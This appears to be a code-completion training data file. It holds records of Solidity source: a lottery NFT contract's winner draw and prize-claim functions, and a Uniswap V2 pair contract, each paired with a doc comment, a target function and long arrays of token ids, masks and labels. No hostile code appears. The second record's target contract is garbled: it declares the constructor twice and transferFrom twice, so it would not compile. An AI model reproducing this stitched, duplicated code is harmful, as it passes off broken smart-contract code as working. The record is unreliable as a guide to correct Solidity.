uint256 randWinner2 = uint256(keccak256(abi.encode(randomness, 2)));
uint256 currentLotteryTokens = getCurrentLotteryTokensCount();
require(currentLotteryTokens >= 3, "minimum tickets sold required");
// save number of tokens/tickets for current lottery
lotteryIdTokensCount[currentLotteryId] = currentLotteryTokens;
// select range of tickets for current lottery
uint256 tokenStart = tokenIdFloor.add(1);
// award prizes to winners
// exclude tickets already announced in other prizes
// a ticket can not be awarded more than one prize
uint256 firstPlaceTokenId =
randWinner0.mod(currentLotteryTokens).add(tokenStart);
// exclude 1st place ticket from draw, decrement number of tokens
uint256 secondPlaceTokenId =
randWinner1.mod(currentLotteryTokens.sub(1)).add(tokenStart);
if (secondPlaceTokenId >= firstPlaceTokenId)
secondPlaceTokenId = secondPlaceTokenId.add(1);
// exclude 1st and 2nd places ticket from draw, decrement number of tokens
uint256 thirdPlaceTokenId =
randWinner2.mod(currentLotteryTokens.sub(2)).add(tokenStart);
if (thirdPlaceTokenId >= firstPlaceTokenId)
thirdPlaceTokenId = thirdPlaceTokenId.add(1);
if (thirdPlaceTokenId >= secondPlaceTokenId)
thirdPlaceTokenId = thirdPlaceTokenId.add(1);
// store if token prize was claimed
lotteryId1stPlaceAward[currentLotteryId][firstPlaceTokenId] = true;
lotteryId2ndPlaceAward[currentLotteryId][secondPlaceTokenId] = true;
lotteryId3rdPlaceAward[currentLotteryId][thirdPlaceTokenId] = true;
// store all prizes token ids for each lottery id
tokenId1stPlaceAward[currentLotteryId] = firstPlaceTokenId;
tokenId2ndPlaceAward[currentLotteryId] = secondPlaceTokenId;
tokenId3rdPlaceAward[currentLotteryId] = thirdPlaceTokenId;
emit WinnersAnnounced(
currentLotteryId,
firstPlaceTokenId,
secondPlaceTokenId,
thirdPlaceTokenId
);
// once the event is emitted, start the next lottery
lotteryIds.increment();
lotteryIdExpiry[lotteryIds.current()] = block.timestamp.add(duration);
// keep track of each lottery tickets/token ids range
prevTokenIdFloor = tokenIdFloor;
tokenIdFloor = lastTokenId;
}
/**
* @dev claim the first place prize reward if the token is winner
*
* Requirements:
*
* - `tokenId` must be the 1st place winner for `lotteryId`
* - only the owner of the `tokenId` can claim the prize
*
* Emits a {PrizeClaimed} event
*/
function claim1stPlacePrize(uint256 tokenId, uint256 lotteryId)
public
returns (bool)
{
// tokenId has not won the first place or was already claimed
require(
lotteryId1stPlaceAward[lotteryId][tokenId],
"ticket not awarded or prize already claimed"
);
require(
msg.sender == ownerOf(tokenId),
"ticket owner required to claim prize"
);
uint256 prizePercent = prizePercentArr[0];
uint256 lotteryBalance = lotteryIdFunds[lotteryId];
uint256 amountToBeClaimed = lotteryBalance.mul(prizePercent).div(100);
lotteryId1stPlaceAward[lotteryId][tokenId] = false;
sUSD.transfer(msg.sender, amountToBeClaimed);
emit PrizeClaimed(lotteryId, EventType.First, tokenId);
return true;
}
/**
* @dev claim the second place prize reward if the token is winner
*
* Requirements:
*
* - `tokenId` must be the 2nd place winner for `lotteryId`
* - only the owner of the `tokenId` can claim the prize
*
* Emits a {PrizeClaimed} event
*/
function claim2ndPlacePrize(uint256 tokenId, uint256 lotteryId)
public
returns (bool)
{
// tokenId has not won the second place or was already claimed
require(
lotteryId2ndPlaceAward[lotteryId][tokenId],
"ticket not awarded or prize already claimed"
);
require(
msg.sender == ownerOf(tokenId),
"ticket owner required to claim prize"
);
uint256 prizePercent = prizePercentArr[1];
uint256 lotteryBalance = lotteryIdFunds[lotteryId];
uint256 amountToBeClaimed = lotteryBalance.mul(prizePercent).div(100);
lotteryId2ndPlaceAward[lotteryId][tokenId] = false;
sUSD.transfer(msg.sender, amountToBeClaimed);
emit PrizeClaimed(lotteryId, EventType.Second, tokenId);
return true;
}
/**
* @dev claim the third place prize reward if the token is winner
*
* Requirements:
*
* - `tokenId` must be the 3rd place winner for `lotteryId`
* - only the owner of the `tokenId` can claim the prize
*
* Emits a {PrizeClaimed} event
*/
function claim3rdPlacePrize(uint256 tokenId, uint256 lotteryId)
public
returns (bool)
{
// tokenId has not won the third place or was already claimed
require(
lotteryId3rdPlaceAward[lotteryId][tokenId],
"ticket not awarded or prize already claimed"
);
require(
msg.sender == ownerOf(tokenId),
"ticket owner required to claim prize"
);
uint256 prizePercent = prizePercentArr[2];
uint256 lotteryBalance = lotteryIdFunds[lotteryId];
uint256 amountToBeClaimed = lotteryBalance.mul(prizePercent).div(100);
lotteryId3rdPlaceAward[lotteryId][tokenId] = false;
sUSD.transfer(msg.sender, amountToBeClaimed);
emit PrizeClaimed(lotteryId, EventType.Third, tokenId);
return true;
}
/**
* @dev Return the current lottery tickets/tokens count
*
*/
function getCurrentLotteryTokensCount() public view returns (uint256) {
return lastTokenId - tokenIdFloor;
}
/**
* @dev Return the current token/ticket id
*
*/
function getTicketId() public view returns (uint256) {
return tokenIds.current();
}
/**
* @dev Return the current lottery id
*
*/
function getLotteryId() public view returns (uint256) {
return lotteryIds.current();
}
}
|
* @dev Return the current lottery tickets/tokens count/
|
function getCurrentLotteryTokensCount() public view returns (uint256) {
return lastTokenId - tokenIdFloor;
}
| 5,523,535 |
[
1,
990,
326,
783,
17417,
387,
93,
24475,
19,
7860,
1056,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
5175,
48,
352,
387,
93,
5157,
1380,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
27231,
548,
300,
1147,
548,
42,
5807,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'YFI-BIXb LP';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
|
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'YFI-BIXb LP';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
| 6,979,797 |
[
1,
79,
24410,
581,
5034,
2932,
9123,
305,
12,
2867,
3410,
16,
2867,
17571,
264,
16,
11890,
5034,
460,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2225,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
1351,
291,
91,
438,
58,
22,
654,
39,
3462,
353,
467,
984,
291,
91,
438,
58,
22,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
203,
565,
533,
1071,
5381,
508,
273,
296,
61,
1653,
17,
38,
12507,
70,
511,
52,
13506,
203,
565,
533,
1071,
5381,
3273,
273,
296,
10377,
17,
58,
22,
13506,
203,
565,
2254,
28,
1071,
5381,
15105,
273,
6549,
31,
203,
565,
2254,
225,
1071,
2078,
3088,
1283,
31,
203,
565,
2874,
12,
2867,
516,
2254,
13,
1071,
11013,
951,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
1071,
1699,
1359,
31,
203,
203,
565,
1731,
1578,
1071,
27025,
67,
4550,
31,
203,
565,
1731,
1578,
1071,
5381,
10950,
6068,
67,
2399,
15920,
273,
374,
92,
26,
73,
11212,
329,
8906,
2138,
70,
21,
70,
10580,
74,
24,
72,
21,
74,
26,
4630,
7301,
3030,
74,
15168,
6260,
507,
22,
507,
8906,
1611,
5558,
22214,
69,
26035,
71,
1105,
5193,
25,
72,
